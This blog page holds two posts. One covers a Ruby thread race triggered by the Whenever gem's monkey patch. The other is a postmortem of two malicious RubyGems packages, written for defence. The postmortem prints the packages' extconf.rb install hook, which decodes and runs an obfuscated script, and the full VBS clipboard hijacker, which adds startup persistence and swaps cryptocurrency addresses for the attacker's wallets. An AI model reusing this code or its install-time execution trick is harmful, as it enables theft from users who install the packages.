Page 2 of 156

How requiring a gem can mess up your already running application

Introduction

Ruby’s dynamic nature is both its advantage and disadvantage. Being able to reopen system classes during runtime, while useful, can also lead to unexpected behaviors. This article presents one such case: how just requiring a gem can mess things up in a completely different area of the application.

The bizzare error

Recently, after connecting the Diffend monitor into one of my systems, it started reporting a bizarre error:

uninitialized constant Whenever

whenever-1.0.0/lib/whenever/numeric.rb:3:in `respond_to?'
lib/ruby/2.7.0/bundler/settings.rb:368:in `=='
lib/ruby/2.7.0/bundler/settings.rb:368:in `=='
lib/ruby/2.7.0/bundler/settings.rb:368:in `converted_value'
lib/ruby/2.7.0/bundler/settings.rb:94:in `[]'
lib/ruby/2.7.0/bundler/fetcher.rb:80:in `'
lib/ruby/2.7.0/bundler/fetcher.rb:11:in `'
lib/ruby/2.7.0/bundler/fetcher.rb:9:in `'
diffend-monitor-0.2.36/lib/diffend/build_bundler_definition.rb:18:in `call'
diffend-monitor-0.2.36/lib/diffend/execute.rb:22:in `build_definition'
diffend-monitor-0.2.36/lib/diffend/execute.rb:12:in `call'
diffend-monitor-0.2.36/lib/diffend/track.rb:21:in `start'
diffend-monitor-0.2.36/lib/diffend/monitor.rb:42:in `block in '

the line in which it was happening was just a delegation to the Bundler API method:

::Bundler::Fetcher.disable_endpoint = nil

and in Bundler itself it is just an attr_accessor:

class << self
  attr_accessor :disable_endpoint, :api_timeout, :redirect_limit
end

So what does all of it has to do with the Whenever gem? Nothing.

We have nothing to do with Whenever but it does not mean Whenever has nothing to do with us.

Requiring a gem does not only mean that its code is being loaded. It also means that the gem can perform any operations it wants, whether legit or malicious.

When diffend-monitor is being required, it spins up its own Ruby thread and starts reporting data. And here is the moment when Whenever kicks in. It was being required after the monitor. Thus the monitor code was already running. In theory, those two should be separated entirely. Whenever and Diffend do entirely different things and they have their own namespaces.

It turns out, unfortunately, that Whenever is monkey patching Numeric class in an incorrect way:

Numeric.class_eval do
  def respond_to?(method, include_private = false)
    super || Whenever::NumericSeconds.public_method_defined?(method)
  end

  def method_missing(method, *args, &block)
    if Whenever::NumericSeconds.public_method_defined?(method)
      Whenever::NumericSeconds.new(self).send(method)
    else
      super
    end
  end
end

This patch seems to be safe, but there’s a really big assumption made: Whenever::NumericSeconds needs to be accessible. If we look into the Whenever code loading file, we will notice, that the patch is required before Whenever::NumericSeconds comes to existence:

require 'whenever/numeric'
require 'whenever/numeric_seconds'

This means that any action that would invoke #method_missing after the first file is loaded, but before the second one, will fail.

Can it even happen? Absolutely! Ruby’s require is not blocking. It means, that Ruby VM can stop the requiring after any of the files and switch context to do other things in other threads.

When the above is understood, building a reproduction code is just a matter of seconds:

Thread.new do
  while true
    begin
      1.respond_to?(:elo)
      sleep 0.00001
    rescue => e
      p e
    end
  end
end

sleep 0.2

require 'whenever'

Here’s how it behaves when executed:

I’ve created an issue in Whenever, and hopefully, its maintainers will address it. Meanwhile there’s one more question to ask: can we somehow address this problem, so it won’t break our code?

Mitigating the issue before the library is patched

There is no silver bullet for this type of problem. As any gem can introduce their own patches to other classes, the potential problems are endless. In this particular case, the code ends up being “ok” once everything is loaded. What we’ve decided to do was pretty trivial. We’ve decided to give the app enough time to require all the things that could potentially break the execution:

Thread.new do
  sleep 0.5

  while true
    begin
      1.respond_to?(:elo)
      sleep 0.00001
    rescue => e
      p e
    end
  end
end

This sleep ensures that as long as nothing heavy happens during gems requirement via Bundler, we don’t end up with partially loaded, broken monkey-patches while executing our own logic in a background thread.


Cover photo by Ruin Raider on Attribution-NonCommercial-NoDerivs 2.0 Generic (CC BY-NC-ND 2.0) license.

RubyGems Bitcoin Stealing Malware postmortem

Introduction

On the 7th and 13th of December, there were two malicious packages uploaded to RubyGems. Here’s the postmortem and analysis of the packages’ content.

Diffend.io platform that I run closely cooperates with the RubyGems team, providing immediate insights into any gems that have “weird” characteristics. Thanks to that, the gems were yanked relatively fast.

ruby-bitcoin postmortem

On the 7th of December 2020, the ruby-bitcoin package was pinpointed for inspection. On a first glimpse, it seemed legit:

It had a decent amount of “stars” from Github, and there was a Github repository that “looked” like expected. However, all of it was a hoax. This gem was just a shallow copy of the popular bitcoin-ruby library.

Typosquattings of popular gems are no longer allowed on RubyGems, but brandjacking is a an entirely different story. The attacker chose to reverse the -ruby naming and turn it to his advantage. There is no clear convention whether to call things with -ruby postfix or ruby- prefix, and both are allowed and used. There are gems like ruby-kafka as well as bitcoin-ruby. This makes things easier for attackers.

The code that was uploaded used the “not an exploit but a feature” feature of ruby gems, which is the extconf.rb gateway into install code execution. While it is not the only way to do malicious things, it is by far the most common approach due to its simplicity and the fact that an accidental install without requiring or execution is more than enough to infect the machine on which the gem was installed.

The important extconf.rb parts look as followed (removed non-relevant code and re-formatted for better readability):

begin
  os = RbConfig::CONFIG['host_os']

  if os.match(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
      vbs_out = "RGltIG9ialdTSCxv---...---IA0K"
      content = Base64.decode64(vbs_out.gsub("---", ""))
      File.open("the_Score.vbs", "w") { |file| file.write(content) }
      cmd = "d3Nj---cmlwdCB0---aGVfU2NvcmUud---mJz".gsub("---", "")
      decoded_cmd = Base64.decode64(cmd)
      system(decoded_cmd)
  end
rescue => e
end

Full codebase available here.

Upon this gem installation, in case it was Windows OS, a Visual Basic file has been created and executed. The enigmatic "d3Nj---cmlwdCB0---aGVfU2NvcmUud---mJz".gsub("---", "") when decoded is just a Windows Script Host command: wscript the_Score.vbs.

Windows Script Host provides an environment in which users can execute scripts in a variety of languages that use a variety of object models to perform tasks.

What is more interesting, is the Visual Basic script itself:

Dim objWSH,objFSO
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next
Dim Fygna, Nfbvm, Sctcr, Zvofm, Fobuo, Rlfad
Fygna = "bc1qgmem0e4mjejg4lpp03tzlmhfpj580wv5hhkf3p"
Nfbvm = "467FN8ns2MRYfLVEuyiMUKisvjz7zYaS9PkJVXVCMSwq37NeesHJpkfG44mxEFHu8Nd9VDtcVy4kM9iVD7so87CAH2iteLg"
Sctcr = "0xcB56f3793cA713813f6f4909D7ad2a6EEe41eF5e"
Zvofm = objWSH.ExpandEnvironmentStrings("%PROGRAMDATA%") & "\Microsoft Essentials"
Fobuo = Zvofm & "\Software Essentials.vbs"
Rlfad = "Microsoft Software Essentials"
If Not objFSO.Folderexists(Zvofm) then
objFSO.CreateFolder Zvofm
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", Rlfad, chr(34) & Fobuo & chr(34)
Call Lncpp()
objWSH.run chr(34) & Fobuo & chr(34)
Set objWSH = Nothing
Set objFSO = Nothing
Sub Lncpp
    Dim Sdrqq
    Set Sdrqq = objFSO.CreateTextFile(Fobuo, True)
    Sdrqq.WriteLine "On Error Resume Next"
    Sdrqq.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
    Sdrqq.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
    Sdrqq.WriteLine "Do"
    Sdrqq.WriteLine "wscript.sleep(1000)"
    Sdrqq.WriteLine "Twwzb = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
    Sdrqq.WriteLine "Vsuvu = Len(Twwzb)"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "1" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 26 and Vsuvu <= 35 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Fygna & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "3" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 26 and Vsuvu <= 35 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Fygna & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "4" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 95 and Vsuvu <= 106 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Nfbvm & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "p" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 30 and Vsuvu <= 60 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Nfbvm & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"		
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "0" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 30 and Vsuvu <= 60 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Sctcr & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "Loop"
    Sdrqq.Close
	Set Sdrqq = Nothing
End Sub

This code registers itself to always run on startup and, when invoked, keeps track of the machine clipboard. Whenever a bitcoin wallet ID would be detected, it would be replaced with the attacker’s one.

Did it affect anyone? Hard to say with absolute certainty. The gem was uploaded around 10 pm CET on the 7th of December and was available for around 12 hours. During that time, it got 53 downloads. 50-70 downloads for any new gem is a number indicating, no-one used it. Those downloads are usually triggered by mirroring and analytics platforms based on the webhooks fired by RubyGems. In their case, gems are downloaded but not installed.

pretty_color postmortem

While ruby-bitcoin contained only malicious code, pretty_color actually used a legit codebase from a library called colorize to hide the malicious code.

The malicious code is pretty much the same as in the previous example, however, the execution flow is different. This time it’s not the extconf.rb that triggers the execution but an actual usage attempt:

module TestRuby
  VERSION = "0.1.0"
  class TestVersion
    def self.test
      begin
        # same code as with ruby-bitcoin
      rescue
        p
      end
    end
  end
end

TestRuby::TestVersion.test

I’m certain we can expect more malicious packages that base their names on popular libraries from other package managers.

Summary

I do not underestimate the risks of this type of attack; however, what worries me more are the OSS supply chain attacks designed to cause havoc in the applications in which they are being used. Either by stealing production data, running botnets, or mining coins.

Due to the nature of RubyGems, everyone is allowed to upload anything they want. As long as the packages are not harmful, they are permitted to stay. This means, that research packages like this one, despite collecting and sending data, will not be removed. This makes things a bit harder. There is still some noise from packages that have strong indicators of being malicious while actually not causing any harm.

How to protect yourself against threats like this? That’s a question for a different article, but you can start by being strict whenever you add new dependencies and not relying on new packages. You can also use the free Diffend.io plugin to impose the policies you want to have without any manual interactions.


Cover photo by QuoteInspector.com on Attribution-NoDerivs 2.0 Generic (CC BY-ND 2.0) license.

Copyright © 2021 Closer to Code

Theme by Anders NorenUp ↑